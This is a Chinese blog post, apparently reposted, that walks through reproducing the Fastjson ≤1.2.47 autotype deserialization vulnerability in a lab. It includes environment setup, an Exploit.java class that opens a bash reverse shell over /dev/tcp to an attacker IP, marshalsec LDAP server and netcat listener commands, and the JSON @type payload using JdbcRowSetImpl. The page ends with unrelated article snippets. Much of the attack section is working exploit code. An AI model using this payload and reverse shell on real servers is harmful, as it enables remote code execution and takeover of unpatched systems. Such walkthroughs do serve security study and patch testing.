【网络安全】Fastjson的反序列化漏洞复现

news2024/11/25 4:30:58

1.漏洞概述

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过

2.影响版本

  • Fastjson<=1.2.47

3.环境准备

3.1 主机准备

  • linux主机:1台(靶机)

  • Kail:1台(监听)

  • Windows:1台(复现实施,burp抓包)

3.2相关安装包准备

  • fastjson1.2.47.tar.gz

  • JDK1.8,下载地址

https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
  • maven3.6.3,下载地址
https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/
  • marshalsec下载地址

java反序列化利用工具,该工具可以快速开启RMI以及LDAP服务,但需要使用maven编译(下文会讲):https://github.com/mbechler/marshalsec

【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

4.环境搭建

4.1 Linux主机(本文采用centos7.7)安装docker

  • 安装所需软件包

yum install -y yum-utils device-mapper-persistent-data lvm2

  • 设置yum源
    yum-config-manager --add-repo http://download.docker.com/linux/centos/docker-ce.repo

  • 安装docker

yum -y install docker-ce-18.03.1.ce

4.2镜像环境部署

  • 拉取镜像环境
    docker pull rightctrl/tomcat

  • 映射到服务器8080端口

docker run -d --name tomcat -p 8080:8080 rightctrl/tomcat

  • 测试页面访问是否成功,http://ip:8080
    图片.png

  • 将fastjson安装至tomcat环境

将下载的fastjson1.2.47.tar.gz上传至主机并解压:
tar -zxvf fastjson1.2.47.tar.gz
复制到tomcat的webapps目录下
docker cp fastjson tomcat:/opt/tomcat/webapps/
(注意fastjson的文件名及tomcat路径未必一样)
测试页面访问http://ip:8080/fastjson (url路径与fastjson文件名有关)
图片.png

4.3 kail环境安装

  • 安装JDK

新建目录,将下载的jdk的安装包复制过去并进行解压

mkdir /usr/local/java

cp jdk-8u202-linux-x64.tar.gz /usr/local/java

cd /usr/local/java

tar -xzvf jdk-8u202-linux-x64.tar.gz

添加环境变量:

vi /etc/profile

JAVA_HOME=/usr/local/java/jdk1.8.0_202 PATH=$PATH:$HOME/bin:$JAVA_HOME/bin export JAVA_HOME export PATH

安装(注意java版本本文使用jdk1.8.0_202):

update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_202/bin/java" 1

update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_202/bin/javac" 1

update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1

加载profile:

source /etc/profile

查看java版本:

java -version

图片.png

  • 安装maven3.6.3

下载apache-maven-3.6.3-bin.tar.gz安装包复制到/usr/local目录下,解压:
tar -zxvf apache-maven-3.6.3-bin.tar.gz
创建仓库目录:
mkdir /usr/local/apache-maven-3.6.3/repo
备份并修改maven配置文件:

cp /usr/local/apache-maven-3.6.3/conf/settings.xml /usr/local/apache-maven-3.6.3/conf/settings.xml.bak

vi /usr/local/apache-maven-3.6.3/conf/settings.xml

添加安装路径,如截图位置添加该路径:
图片.png

配置阿里仓库源,修改为如下截图:

图片.png

添加环境变量:

vi /etc/profile

在最后一行添加:

export MAVEN_HOME=/usr/local/apache-maven-3.6.3
export PATH=$PATH:$MAVEN_HOME/bin

重新加载:

source /etc/profile

测试配置是否成功:

mvn -v

图片.png

  • 下载并编译marshalsec

通过上面链接下载后上传到kail并解压:

图片.png

unzip marshalsec-master.zip

图片.png

图片.png

marshalsec目录下编译:

cd marshalsec-master
mvn clean package -DskipTests

编译完成后,到/marshalsec-master/target目录下会有这个文件marshalsec-0.0.3-SNAPSHOT-all.jar:

图片.png

5.漏洞复现

5.1编译生成Exploit.class**

将以下代码保存为Exploit.java

import java.io.BufferedReader; 
import java.io.InputStream; 
import java.io.InputStreamReader;
 public class Exploit{ 
public Exploit() throws Exception { 
Process p = Runtime.getRuntime().exec(new String[]{
"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"
});
 InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is)); 
String line; while((line = reader.readLine()) != null) { 
System.out.println(line); 
} 
p.waitFor(); 
is.close(); 
reader.close(); 
p.destroy(); 
} 
public static void main(String[] args) throws Exception { 
} 
}

Exploit.java文件上传到kail进行编译,得到Exploit.class文件:

javac Exploit.java

5.2开启监听(kail上操作)

  • 使用python快速起一个web

记得将Exploit.class文件放在web的目录下,即在哪个路径起web就放在哪里:
python2:
python -m SimpleHTTPServer 1111
python3:
Python -m http.server 1111

图片.png

  • 开启ldap服务

到kail的/marshalsec-master/target目录下执行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#Exploit 9999
图片.png

  • 开启nc监听

nc -lvp 1888

图片.png

  • 发包测试

访问fastjson页面Burp发包,改为POST请求,使用EXP:

图片.png

EXP代码如下:

{ "name":{ "@type":"java.lang.Class",
 "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{
"@type":"com.sun.rowset.JdbcRowSetImpl", 
"dataSourceName":"ldap://ip:9999/Exploit", "autoCommit":true } }
  • 反弹shell成功

图片.png

6.修复建议

升级至最新版本即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/116413.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

qt简单UI使用

geometry设置窗口大小 font字体大小 text改文件名

本地使用隧道或代理访问云服务器数据库

本地使用代理访问云服务器数据库 场景&#xff1a; 项目的测试环境是部署至云服务器上的&#xff0c;有时候云服务器的项目测试出现了一些问题&#xff0c;为了方便复现就在本地直连云服务器的数据库&#xff08;mysql服务器&#xff09;。但是云服务器是有三台机子&#xff0…

性能测试工程师技术履历表

技术履历表 基本情况 姓名 XXX 年龄 26 性别 男 工作年限 3-4 岗位 性能测试工程师 毕业院校和专业 武汉软件工程职业学院 学历 大专 技能评价 1、熟悉基于Http&#xff0c;TCP等协议的脚本开发。 2、 熟练掌握&#xff1a;Loadrunner等压测工具。 3、 掌握Linu…

Echosync 一款优秀的文件夹同步和备份软件

Echosync 一款优秀的文件夹同步和备份软件 通过执行差异数据备份、文件同步&#xff0c;这样可以避免传递自上次备份以来所做的更改&#xff0c;Echosync能够检测到移动或重命名自上次备份的文件。 下载 Echosync 软件介绍 VHD中备份文件 你的文件可以保存到单个 VHD 文件…

RK3568 ov5695摄像头

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录前言一、什么是mipi接口&#xff1f;二、摄像头是如何把数据给到RK3568,又是如何处理硬件连接关系图&#xff1a;图像数据的来龙去脉代码路径三、如何移植修改设备树…

高通开发系列 - 数字和模拟codec驱动

By: fulinux E-mail: fulinux@sina.com Blog: https://blog.csdn.net/fulinus 喜欢的盆友欢迎点赞和订阅! 你的喜欢就是我写作的动力! 目录 MSM89XX音频硬件框架Linux kernel驱动LPASS的地址空间PM和PMI的区别PM8953简介Slave ID从设备idPM89xx中的模拟codec驱动准备codec的驱…

进程退出与等待

1️⃣ 进程退出 正常终止 main函数的返回调用exit_exit 异常终止 Ctrl c (信号终止) 1.main函数的返回就是return 0&#xff1b;程序退出这个在高级语言里面就学过了不多说。 2.exit(x)的使用如下 第一次测试&#xff1a;错误码与main函数里面打印的值。 第二次测试&#xf…

[oeasy]python0033_任务管理_jobs_切换任务_进程树结构_fg

查看进程 回忆上次内容 上次先进程查询 ps -elf 查看所有进程信息ps -lf 查看本终端相关进程信息 杀死进程 kill -9 PID 给进程发送死亡信号 运行多个 python3 show_time.py 的话 各个进程独立python3 show_time.py 大概 8M各占内存这些进程之间是什么关系呢&#xff1f;&…

秦海璐、宋轶现身,岳云鹏孙越成谜,央视春晚第一次彩排姗姗来迟

最近一段时间&#xff0c;全国各地的朋友都在积极行动&#xff0c;都想推迟成为小阳人的时间&#xff0c;却险些忘了一件大事。伴随着春节的临近&#xff0c;每年的央视春晚都倍受期待&#xff0c;今年当然也不例外&#xff0c;可是却一直没有央视春晚的消息。 就在大家都认为&…

利用adb查找手机定位,并且打开地图定位

可以使用 Android Debug Bridge (ADB) 工具来查找手机的位置信息。 首先&#xff0c;您需要确保手机已连接到电脑&#xff08;内网穿透或者搭建虚拟局域网&#xff09;&#xff0c;并且已在手机上启用 USB 调试。然后&#xff0c;您可以在电脑的命令提示符下使用 ADB 命令来查询…

小程序框架

目录 一&#xff0c;框架 二&#xff0c;响应的数据绑定 三&#xff0c;页面管理 四&#xff0c;基础组件 逻辑层 App Service 五&#xff0c;小程序的生命周期 六&#xff0c;注册页面 1.使用 Page 构造器注册页面 2.在页面中使用 behaviors 3.使用 Component 构造器…

[HAL库]STM32 ADC功能和DMA读数据的方法

这篇博客记录下 STM32F103R8T6 是怎么开ADC、用DMA搬数据的方法。方便日后使用的时候查资料。 DMA其实就是个搬运工&#xff0c;专门负责搬数据&#xff0c;没有DMA之前&#xff0c;搬数据是由MCU核心来负责&#xff0c;虽说都能完成搬数据的动作&#xff0c;但是MCU干这件事浪…

1.从一次提交中思考代码性能优化和stream的使用

前言 其实由来很简单&#xff0c;我们用了一个第三方的开源平台&#xff0c;这个平台基于 ruoyi 3.8.1 开发&#xff0c;我想后续同步到ruoyi的最新版 今天看的是 一个字典查询的commit&#xff0c;我们下来看下这次提交是如何优化的 分析 开门见山&#xff0c;我们看下代码…

PowerTCP FTP for .NET对.NET 7的支持

PowerTCP FTP for.NET是一个高级FTP和FTPS类库&#xff0c;具有易于使用的接口。它具有泛型、IPv6、双堆栈套接字、并发会话mX509证书&#xff0c;并包括完整的SSL和TLS集成。 用于.NET功能的PowerTCP FTP 流接口支持在没有文件访问的情况下创建或检查内存中的数据。 可序列…

过年不再被逼相亲——我用python给亲戚展示2022的相亲数据

人生苦短 我用Python 这不是快过年了吗&#xff1f; 又到了一年一度的亲戚大考验环节… 没对象的他们会问你&#xff0c;找对象了吗&#xff1f; 你要是学计算机专业的&#xff0c;他们会问你&#xff0c;会修电脑吗&#xff1f; 出去学了点啥他们也会要求“才艺展示一下 …

少儿Python每日一题(2):整数的位数

原题解答 本次的题目如下所示&#xff08;原题出处&#xff1a;蓝桥杯&#xff09;&#xff1a; 【编程实现】 输入一个正整数&#xff0c;输出这个正整数是一个几位数。 输入描述&#xff1a;输入一个正整数 输出描述&#xff1a;输出这个正整数是一个几位数 【样例输入】 12…

FineReport开源报表软件- 数据库表字段控制Tab块隐藏

1. 概述 1.1 预期效果 通过数据库表中设置的字段值&#xff0c;控制决策报表的每个 Tab 块是否显示&#xff0c;如下图所示&#xff1a; 数据库表字段&#xff1a;SITUATION 字段的值控制 Tab 是否显示。 效果展示&#xff1a;一共有 4 个 Tab 块&#xff1a;春、夏、秋、冬&…

Verilog HDL 硬件描述语言基础

HDL 硬件描述语言&#xff08;Hardware Description Lagnuage&#xff0c;HDL&#xff09;通过描述硬件的实现方法&#xff0c;来 产生与之对应的真实的硬件电路&#xff0c;最终实现所设计的预期功能。 Verilog HDL 和 C 语言的比较 C 语言所描述的代码功能在执行时都是一行…

K8s Liveness/Readiness/Startup 探针机制

官方参考文档 目录前言一、默认健康检测1.1 restartPolicy1.2 测试案例二、Liveness三、Readiness四、Startup前言 玩过 Docker Swarm 的应该都知道&#xff0c;有一种功能叫自愈功能&#xff0c;当集群检测到节点或服务故障时回进行自动故障转移&#xff0c;从而保障业务的可…

Python循环语句条件控制语句

一、while循环 1、条件为true&#xff0c;执行循环体&#xff1b;条件为false&#xff0c;退出循环体&#xff1b; while 判断条件: 执行语句 2、单纯的while语句 3、配合if条件句使用 4、配合else使用 二、for循环 即可迭代的对象&#xff1b; 如何判断对象是否可迭代&…